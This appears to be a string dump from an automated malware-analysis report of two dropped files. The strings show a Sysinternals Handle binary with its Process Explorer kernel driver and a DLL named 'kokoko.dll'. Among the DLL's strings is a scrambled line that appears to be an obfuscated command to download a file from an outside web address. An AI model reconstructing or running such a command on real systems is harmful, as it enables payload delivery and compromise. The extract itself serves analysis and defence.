\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\lang1033\b0\fs20\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li357\sb120\sa120\b0\caps0 This limitation applies to\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 for this software, unless other terms accompany those items. If so, those terms apply.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb240\lang1036 Remarque : Ce logiciel \'e9tant distribu\'e9 au Qu\'e9bec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en fran\'e7ais.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SOFTWARE\CLASSES
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Services\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\USER\S
Unicode based on Dropped File (hhhhh.exe.655875088)
__C_specific_handler
Ansi based on Dropped File (hhhhh.exe.655875088)
_snwprintf
Ansi based on Dropped File (hhhhh.exe.655875088)
_wcsnicmp
Ansi based on Dropped File (hhhhh.exe.655875088)
`INIT
Ansi based on Dropped File (hhhhh.exe.655875088)
Access denied
Ansi based on Dropped File (hhhhh.exe.655875088)
ACONOUT$
Unicode based on Dropped File (hhhhh.exe.655875088)
ad & tobago
Unicode based on Dropped File (hhhhh.exe.655875088)
agePath
Unicode based on Dropped File (hhhhh.exe.655875088)
aland
Unicode based on Dropped File (hhhhh.exe.655875088)
ALC_ALL
Unicode based on Dropped File (hhhhh.exe.655875088)
als - www.sysinternals.com
Unicode based on Dropped File (hhhhh.exe.655875088)
andle [-a] [-u] [-p <processname>|<pid>] [name]
Ansi based on Dropped File (hhhhh.exe.655875088)
andle.exe
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-colombia
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-el salvador
Unicode based on Dropped File (hhhhh.exe.655875088)
anish-modern
Unicode based on Dropped File (hhhhh.exe.655875088)
ar-JO
Unicode based on Dropped File (hhhhh.exe.655875088)
ar-KW
Unicode based on Dropped File (hhhhh.exe.655875088)
aracteristics
Unicode based on Dropped File (hhhhh.exe.655875088)
B.reloc
Ansi based on Dropped File (hhhhh.exe.655875088)
bg-BG
Unicode based on Dropped File (hhhhh.exe.655875088)
BINRES
Unicode based on Dropped File (hhhhh.exe.655875088)
BINRESRCHANDLE64
Unicode based on Dropped File (hhhhh.exe.655875088)
Bja-JP
Unicode based on Dropped File (hhhhh.exe.655875088)
ble to query owner>
Unicode based on Dropped File (hhhhh.exe.655875088)
BR6002- floating point support not loaded
Unicode based on Dropped File (hhhhh.exe.655875088)
C:\sysint\Handle\Release\handle.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
C_TIME
Unicode based on Dropped File (hhhhh.exe.655875088)
canadian
Unicode based on Dropped File (hhhhh.exe.655875088)
caragua
Unicode based on Dropped File (hhhhh.exe.655875088)
cense Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
Characteristics
Unicode based on Dropped File (hhhhh.exe.655875088)
chile
Unicode based on Dropped File (hhhhh.exe.655875088)
chinese
Unicode based on Dropped File (hhhhh.exe.655875088)
Close handle %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
clusive
Unicode based on Dropped File (hhhhh.exe.655875088)
combase.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
COMDLG32.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
CONIN$
Unicode based on Dropped File (hhhhh.exe.655875088)
Copyright (C) 1997-2014 Mark Russinovich
Ansi based on Dropped File (hhhhh.exe.655875088)
cs-cz
Unicode based on Dropped File (hhhhh.exe.655875088)
CTYPE
Unicode based on Dropped File (hhhhh.exe.655875088)
czech
Unicode based on Dropped File (hhhhh.exe.655875088)
d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
D:\git\SysInternals\ProcExp\Sys\Win32\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
D:\git\SysInternals\ProcExp\Sys\x64\Release\ProcExpDriver.pdb
Ansi based on Dropped File (hhhhh.exe.655875088)
D`~%rY
Ansi based on Dropped File (hhhhh.exe.655875088)
da-dk
Unicode based on Dropped File (hhhhh.exe.655875088)
de-ch
Unicode based on Dropped File (hhhhh.exe.655875088)
de-li
Unicode based on Dropped File (hhhhh.exe.655875088)
deString
Ansi based on Dropped File (hhhhh.exe.655875088)
DeviceType
Unicode based on Dropped File (hhhhh.exe.655875088)
DialogBoxIndirectParamW
Ansi based on Dropped File (hhhhh.exe.655875088)
div-mv
Unicode based on Dropped File (hhhhh.exe.655875088)
dle close aborted.
Ansi based on Dropped File (hhhhh.exe.655875088)
DriverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
DuplicateHandle
Ansi based on Dropped File (hhhhh.exe.655875088)
e-hongkong
Unicode based on Dropped File (hhhhh.exe.655875088)
e-traditional
Unicode based on Dropped File (hhhhh.exe.655875088)
e\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
ed-states
Unicode based on Dropped File (hhhhh.exe.655875088)
ed32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
ember
Unicode based on Dropped File (hhhhh.exe.655875088)
en-au
Unicode based on Dropped File (hhhhh.exe.655875088)
en-BZ
Unicode based on Dropped File (hhhhh.exe.655875088)
en-CA
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ca
Unicode based on Dropped File (hhhhh.exe.655875088)
en-CB
Unicode based on Dropped File (hhhhh.exe.655875088)
en-gb
Unicode based on Dropped File (hhhhh.exe.655875088)
en-GB
Unicode based on Dropped File (hhhhh.exe.655875088)
en-jm
Unicode based on Dropped File (hhhhh.exe.655875088)
en-NZ
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ph
Unicode based on Dropped File (hhhhh.exe.655875088)
en-us
Unicode based on Dropped File (hhhhh.exe.655875088)
en-ZW
Unicode based on Dropped File (hhhhh.exe.655875088)
en-zw
Unicode based on Dropped File (hhhhh.exe.655875088)
EndDoc
Ansi based on Dropped File (hhhhh.exe.655875088)
EndPage
Ansi based on Dropped File (hhhhh.exe.655875088)
ePath
Unicode based on Dropped File (hhhhh.exe.655875088)
epteula
Unicode based on Dropped File (hhhhh.exe.655875088)
erican english
Unicode based on Dropped File (hhhhh.exe.655875088)
Error closing handle:
Ansi based on Dropped File (hhhhh.exe.655875088)
Error obtaining handle information:
Ansi based on Dropped File (hhhhh.exe.655875088)
ErrorControl
Unicode based on Dropped File (hhhhh.exe.655875088)
es-AR
Unicode based on Dropped File (hhhhh.exe.655875088)
es-BO
Unicode based on Dropped File (hhhhh.exe.655875088)
es-bo
Unicode based on Dropped File (hhhhh.exe.655875088)
es-CL
Unicode based on Dropped File (hhhhh.exe.655875088)
es-co
Unicode based on Dropped File (hhhhh.exe.655875088)
es-do
Unicode based on Dropped File (hhhhh.exe.655875088)
es-es
Unicode based on Dropped File (hhhhh.exe.655875088)
es-HN
Unicode based on Dropped File (hhhhh.exe.655875088)
es-hn
Unicode based on Dropped File (hhhhh.exe.655875088)
es-ni
Unicode based on Dropped File (hhhhh.exe.655875088)
es-pe
Unicode based on Dropped File (hhhhh.exe.655875088)
es-PR
Unicode based on Dropped File (hhhhh.exe.655875088)
es-PY
Unicode based on Dropped File (hhhhh.exe.655875088)
es-py
Unicode based on Dropped File (hhhhh.exe.655875088)
es-UY
Unicode based on Dropped File (hhhhh.exe.655875088)
es-uy
Unicode based on Dropped File (hhhhh.exe.655875088)
ess32Next
Ansi based on Dropped File (hhhhh.exe.655875088)
et-ee
Unicode based on Dropped File (hhhhh.exe.655875088)
EulaAccepted
Unicode based on Dropped File (hhhhh.exe.655875088)
ExAllocatePoolWithTag
Ansi based on Dropped File (hhhhh.exe.655875088)
ExFreePoolWithTag
Ansi based on Dropped File (hhhhh.exe.655875088)
ExGetPreviousMode
Ansi based on Dropped File (hhhhh.exe.655875088)
ExitSynchronization
Unicode based on Dropped File (hhhhh.exe.655875088)
ExitThread
Ansi based on Dropped File (hhhhh.exe.655875088)
fa-ir
Unicode based on Dropped File (hhhhh.exe.655875088)
fa-IR
Unicode based on Dropped File (hhhhh.exe.655875088)
fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
fi-FI
Unicode based on Dropped File (hhhhh.exe.655875088)
fo-fo
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-BE
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-ca
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-CH
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-fr
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-LU
Unicode based on Dropped File (hhhhh.exe.655875088)
fr-mc
Unicode based on Dropped File (hhhhh.exe.655875088)
GDI32.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
GetConsoleScreenBufferInfo
Ansi based on Dropped File (hhhhh.exe.655875088)
GetDeviceCaps
Ansi based on Dropped File (hhhhh.exe.655875088)
GetDlgItem
Ansi based on Dropped File (hhhhh.exe.655875088)
GetDriveTypeW
Ansi based on Dropped File (hhhhh.exe.655875088)
GetNumberOfConsoleInputEvents
Ansi based on Dropped File (hhhhh.exe.655875088)
GetSysColorBrush
Ansi based on Dropped File (hhhhh.exe.655875088)
GetTokenInformation
Ansi based on Dropped File (hhhhh.exe.655875088)
GetVersion
Ansi based on Dropped File (hhhhh.exe.655875088)
glish
Unicode based on Dropped File (hhhhh.exe.655875088)
glish-american
Unicode based on Dropped File (hhhhh.exe.655875088)
glish-jamaica
Unicode based on Dropped File (hhhhh.exe.655875088)
Global\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
Global\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
gu-in
Unicode based on Dropped File (hhhhh.exe.655875088)
h-africa
Unicode based on Dropped File (hhhhh.exe.655875088)
h-bolivia
Unicode based on Dropped File (hhhhh.exe.655875088)
h-dominican republic
Unicode based on Dropped File (hhhhh.exe.655875088)
h-korea
Unicode based on Dropped File (hhhhh.exe.655875088)
H.data
Ansi based on Dropped File (hhhhh.exe.655875088)
h.rdata
Ansi based on Dropped File (hhhhh.exe.655875088)
HAL.dll
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle
Unicode based on Dropped File (hhhhh.exe.655875088)
Handle close aborted.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle closed.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle requires Windows XP or higher.
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle type summary:
Ansi based on Dropped File (hhhhh.exe.655875088)
Handle v4.0
Ansi based on Dropped File (hhhhh.exe.655875088)
he-IL
Unicode based on Dropped File (hhhhh.exe.655875088)
hi-in
Unicode based on Dropped File (hhhhh.exe.655875088)
HKU\S
Unicode based on Dropped File (hhhhh.exe.655875088)
HPAGE
Ansi based on Dropped File (hhhhh.exe.655875088)
hr-HR
Unicode based on Dropped File (hhhhh.exe.655875088)
hr-hr
Unicode based on Dropped File (hhhhh.exe.655875088)
hy-AM
Unicode based on Dropped File (hhhhh.exe.655875088)
hy-am
Unicode based on Dropped File (hhhhh.exe.655875088)
ian-bokmal
Unicode based on Dropped File (hhhhh.exe.655875088)
ice\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
ImagePath
Unicode based on Dropped File (hhhhh.exe.655875088)
InflateRect
Ansi based on Dropped File (hhhhh.exe.655875088)
ingdom
Unicode based on Dropped File (hhhhh.exe.655875088)
Insufficient system resources
Ansi based on Dropped File (hhhhh.exe.655875088)
IoCreateDevice
Ansi based on Dropped File (hhhhh.exe.655875088)
IoCreateSymbolicLink
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeleteDevice
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeleteSymbolicLink
Ansi based on Dropped File (hhhhh.exe.655875088)
IoDeviceObjectType
Ansi based on Dropped File (hhhhh.exe.655875088)
IofCompleteRequest
Ansi based on Dropped File (hhhhh.exe.655875088)
IoFileObjectType
Ansi based on Dropped File (hhhhh.exe.655875088)
IoIsWdmVersionAvailable
Ansi based on Dropped File (hhhhh.exe.655875088)
IoValidateDeviceIoControlAccess
Unicode based on Dropped File (hhhhh.exe.655875088)
is-is
Unicode based on Dropped File (hhhhh.exe.655875088)
is-IS
Unicode based on Dropped File (hhhhh.exe.655875088)
ish-peru
Unicode based on Dropped File (hhhhh.exe.655875088)
it-it
Unicode based on Dropped File (hhhhh.exe.655875088)
itSynchronization
Unicode based on Dropped File (hhhhh.exe.655875088)
iverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
ka-ge
Unicode based on Dropped File (hhhhh.exe.655875088)
KeBugCheckEx
Ansi based on Dropped File (hhhhh.exe.655875088)
KeStackAttachProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
KeTickCount
Ansi based on Dropped File (hhhhh.exe.655875088)
KeUnstackDetachProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
KeWaitForSingleObject
Ansi based on Dropped File (hhhhh.exe.655875088)
KfLowerIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
KfRaiseIrql
Ansi based on Dropped File (hhhhh.exe.655875088)
kn-in
Unicode based on Dropped File (hhhhh.exe.655875088)
korea
Unicode based on Dropped File (hhhhh.exe.655875088)
ky-kg
Unicode based on Dropped File (hhhhh.exe.655875088)
lAccess
Unicode based on Dropped File (hhhhh.exe.655875088)
layClass
Unicode based on Dropped File (hhhhh.exe.655875088)
le %X in %s (PID %d)? (y/n)
Unicode based on Dropped File (hhhhh.exe.655875088)
le requires Windows XP or higher.
Ansi based on Dropped File (hhhhh.exe.655875088)
License Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
LLATE
Unicode based on Dropped File (hhhhh.exe.655875088)
LoadCursorW
Ansi based on Dropped File (hhhhh.exe.655875088)
LookupAccountSidW
Ansi based on Dropped File (hhhhh.exe.655875088)
lSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
lv-LV
Unicode based on Dropped File (hhhhh.exe.655875088)
lv-lv
Unicode based on Dropped File (hhhhh.exe.655875088)
memmove
Ansi based on Dropped File (hhhhh.exe.655875088)
mk-mk
Unicode based on Dropped File (hhhhh.exe.655875088)
MmGetSystemRoutineAddress
Ansi based on Dropped File (hhhhh.exe.655875088)
MmIsAddressValid
Ansi based on Dropped File (hhhhh.exe.655875088)
mn-mn
Unicode based on Dropped File (hhhhh.exe.655875088)
Module32First
Ansi based on Dropped File (hhhhh.exe.655875088)
Module32Next
Ansi based on Dropped File (hhhhh.exe.655875088)
MONETARY
Unicode based on Dropped File (hhhhh.exe.655875088)
MS Shell Dlg
Unicode based on Dropped File (hhhhh.exe.655875088)
ms-bn
Unicode based on Dropped File (hhhhh.exe.655875088)
mt-mt
Unicode based on Dropped File (hhhhh.exe.655875088)
n console device
Unicode based on Dropped File (hhhhh.exe.655875088)
name Search for handles to objects with <name> (fragment accepted).
Ansi based on Dropped File (hhhhh.exe.655875088)
NDLE64
Unicode based on Dropped File (hhhhh.exe.655875088)
nknown type>
Unicode based on Dropped File (hhhhh.exe.655875088)
nl-be
Unicode based on Dropped File (hhhhh.exe.655875088)
nl-BE
Unicode based on Dropped File (hhhhh.exe.655875088)
nl-NL
Unicode based on Dropped File (hhhhh.exe.655875088)
nn-no
Unicode based on Dropped File (hhhhh.exe.655875088)
No arguments will dump all file references.
Ansi based on Dropped File (hhhhh.exe.655875088)
No matching handles found.
Ansi based on Dropped File (hhhhh.exe.655875088)
nse Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
NtBuildNumber
Ansi based on Dropped File (hhhhh.exe.655875088)
NtLoadDriver
Ansi based on Dropped File (hhhhh.exe.655875088)
NtOpenDirectoryObject
Ansi based on Dropped File (hhhhh.exe.655875088)
NtOpenSymbolicLinkObject
Ansi based on Dropped File (hhhhh.exe.655875088)
ntoskrnl.exe
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQueryDirectoryObject
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQueryInformationProcess
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQueryInformationThread
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQueryObject
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQuerySection
Ansi based on Dropped File (hhhhh.exe.655875088)
NtQuerySymbolicLinkObject
Ansi based on Dropped File (hhhhh.exe.655875088)
NtUnloadDriver
Ansi based on Dropped File (hhhhh.exe.655875088)
ObCloseHandle
Ansi based on Dropped File (hhhhh.exe.655875088)
ObfDereferenceObject
Ansi based on Dropped File (hhhhh.exe.655875088)
ObOpenObjectByName
Ansi based on Dropped File (hhhhh.exe.655875088)
ObOpenObjectByPointer
Ansi based on Dropped File (hhhhh.exe.655875088)
ObQueryNameString
Ansi based on Dropped File (hhhhh.exe.655875088)
ObReferenceObjectByHandle
Ansi based on Dropped File (hhhhh.exe.655875088)
ocess
Unicode based on Dropped File (hhhhh.exe.655875088)
ocess>
Unicode based on Dropped File (hhhhh.exe.655875088)
OCEXP152.SYS
Unicode based on Dropped File (hhhhh.exe.655875088)
om this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (hhhhh.exe.655875088)
on-existant Process>
Unicode based on Dropped File (hhhhh.exe.655875088)
OpenProcessToken
Ansi based on Dropped File (hhhhh.exe.655875088)
ot enough space for _onexit/atexit table
Unicode based on Dropped File (hhhhh.exe.655875088)
P(A;;GA;;;SY)(A;;GA;;;BA)
Unicode based on Dropped File (hhhhh.exe.655875088)
pa-in
Unicode based on Dropped File (hhhhh.exe.655875088)
Pagefile %I64d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
PCESA
Unicode based on Dropped File (hhhhh.exe.655875088)
PeekConsoleInputA
Ansi based on Dropped File (hhhhh.exe.655875088)
pening %s>
Unicode based on Dropped File (hhhhh.exe.655875088)
pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
pl-PL
Unicode based on Dropped File (hhhhh.exe.655875088)
Press any key to exit...
Ansi based on Dropped File (hhhhh.exe.655875088)
PrintDlgW
Ansi based on Dropped File (hhhhh.exe.655875088)
process
Unicode based on Dropped File (hhhhh.exe.655875088)
Process32Next
Ansi based on Dropped File (hhhhh.exe.655875088)
PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
PROCEXP152.SYS
Unicode based on Dropped File (hhhhh.exe.655875088)
PsLookupProcessByProcessId
Ansi based on Dropped File (hhhhh.exe.655875088)
PsProcessType
Ansi based on Dropped File (hhhhh.exe.655875088)
PsThreadType
Ansi based on Dropped File (hhhhh.exe.655875088)
pt-br
Unicode based on Dropped File (hhhhh.exe.655875088)
pt-PT
Unicode based on Dropped File (hhhhh.exe.655875088)
quz-bo
Unicode based on Dropped File (hhhhh.exe.655875088)
quz-PE
Unicode based on Dropped File (hhhhh.exe.655875088)
RCHANDLE64
Unicode based on Dropped File (hhhhh.exe.655875088)
ReadConsoleInputA
Ansi based on Dropped File (hhhhh.exe.655875088)
RegDeleteKeyW
Ansi based on Dropped File (hhhhh.exe.655875088)
rentControlSet\Services\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
rican
Unicode based on Dropped File (hhhhh.exe.655875088)
rican english
Unicode based on Dropped File (hhhhh.exe.655875088)
Riched32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
RICHEDIT
Unicode based on Dropped File (hhhhh.exe.655875088)
ro-RO
Unicode based on Dropped File (hhhhh.exe.655875088)
RoInitialize
Ansi based on Dropped File (hhhhh.exe.655875088)
RoUninitialize
Ansi based on Dropped File (hhhhh.exe.655875088)
rsion
Unicode based on Dropped File (hhhhh.exe.655875088)
RtlAbsoluteToSelfRelativeSD
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlAddAccessAllowedAce
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlAnsiStringToUnicodeString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlCaptureContext
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlCreateSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlFreeAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlFreeUnicodeString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetGroupSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetOwnerSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetSaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlInitAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLengthSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLengthSid
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLookupFunctionEntry
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlSetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlUnicodeStringToAnsiString
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlUnwindEx
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlVirtualUnwind
Ansi based on Dropped File (hhhhh.exe.655875088)
ru-ru
Unicode based on Dropped File (hhhhh.exe.655875088)
s\Global\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
se-brazilian
Unicode based on Dropped File (hhhhh.exe.655875088)
se-fi
Unicode based on Dropped File (hhhhh.exe.655875088)
se-se
Unicode based on Dropped File (hhhhh.exe.655875088)
SeCaptureSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
SeCaptureSubjectContext
Ansi based on Dropped File (hhhhh.exe.655875088)
Section
Unicode based on Dropped File (hhhhh.exe.655875088)
section
Unicode based on Dropped File (hhhhh.exe.655875088)
SeDebugPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
SeExports
Ansi based on Dropped File (hhhhh.exe.655875088)
SeLoadDriverPrivilege
Unicode based on Dropped File (hhhhh.exe.655875088)
SendMessageW
Ansi based on Dropped File (hhhhh.exe.655875088)
SePrivilegeCheck
Ansi based on Dropped File (hhhhh.exe.655875088)
SeReleaseSubjectContext
Ansi based on Dropped File (hhhhh.exe.655875088)
SetConsoleMode
Ansi based on Dropped File (hhhhh.exe.655875088)
SetCursor
Ansi based on Dropped File (hhhhh.exe.655875088)
SetEvent
Ansi based on Dropped File (hhhhh.exe.655875088)
SetMapMode
Ansi based on Dropped File (hhhhh.exe.655875088)
SetWindowTextW
Ansi based on Dropped File (hhhhh.exe.655875088)
Shell32.dll
Unicode based on Dropped File (hhhhh.exe.655875088)
simplified
Unicode based on Dropped File (hhhhh.exe.655875088)
singapore
Unicode based on Dropped File (hhhhh.exe.655875088)
sl-si
Unicode based on Dropped File (hhhhh.exe.655875088)
sl-SI
Unicode based on Dropped File (hhhhh.exe.655875088)
smj-NO
Unicode based on Dropped File (hhhhh.exe.655875088)
smn-FI
Unicode based on Dropped File (hhhhh.exe.655875088)
Software\Sysinternals\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
kitty.exe
Unicode based on Dropped File (kokoko.dll.2691425955)
"last_used":
Ansi based on Dropped File (kokoko.dll.2691425955)
$let=nwojc ytmNtWblet$letDwlaFl(ht:/2rny3vkcodrn.e/rvd?let=ss,%'
Ansi based on Dropped File (kokoko.dll.2691425955)
%.0Lf
Ansi based on Dropped File (kokoko.dll.2691425955)
%b %d %H : %M : %S %Y
Ansi based on Dropped File (kokoko.dll.2691425955)
%d / %m / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%d%s%d
Unicode based on Dropped File (kokoko.dll.2691425955)
%d%s%d%s%d%s%d
Unicode based on Dropped File (kokoko.dll.2691425955)
%H : %M
Ansi based on Dropped File (kokoko.dll.2691425955)
%H : %M : S
Ansi based on Dropped File (kokoko.dll.2691425955)
%I : %M : %S %p
Ansi based on Dropped File (kokoko.dll.2691425955)
%m / %d / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%s%s%s
Unicode based on Dropped File (kokoko.dll.2691425955)
&esvstct1001
Ansi based on Dropped File (kokoko.dll.2691425955)
+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
Ansi based on Dropped File (kokoko.dll.2691425955)
,<ellipsis>
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUmessages_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUmoney_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUtime_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_ostringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_stringbuf@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@_WDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@GDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
